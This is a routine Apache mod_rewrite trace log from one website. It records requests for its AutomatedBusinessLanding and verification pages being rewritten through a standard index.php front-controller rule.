[Mon Nov 10 18:44:52.888028 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888048 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888058 2025] [rewrite:trace1] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888282 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888307 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888309 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888365 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888373 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888396 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888401 2025] [rewrite:trace2] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888408 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888424 2025] [rewrite:trace2] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888429 2025] [rewrite:trace2] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888439 2025] [rewrite:trace1] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:56.005159 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005228 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005245 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005264 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005278 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005307 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005358 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005370 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005382 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005391 2025] [rewrite:trace1] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d804fa70/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005483 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005499 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005509 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005521 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005533 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005556 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005567 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005580 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005590 2025] [rewrite:trace1] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f53a0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005785 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005802 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005816 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005831 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005843 2025] [rewrite:trace4] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005853 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005869 2025] [rewrite:trace3] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005880 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005890 2025] [rewrite:trace2] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:56.005899 2025] [rewrite:trace1] [pid 11952:tid 11972] mod_rewrite.c(505): [client 178.218.144.99:35056] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2d80f65e0/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:58.114220 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114298 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114341 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114362 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114382 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114410 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114431 2025] [rewrite:trace2] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114457 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114478 2025] [rewrite:trace2] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114496 2025] [rewrite:trace2] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114512 2025] [rewrite:trace1] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80e6440/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114634 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114651 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114661 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114680 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114692 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114702 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114712 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114724 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.114734 2025] [rewrite:trace1] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8057570/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115007 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115034 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115050 2025] [rewrite:trace3] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115058 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:58.115066 2025] [rewrite:trace4] [pid 12043:tid 12068] mod_rewrite.c(505): [client 178.218.144.99:35060] 178.218.144.99 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
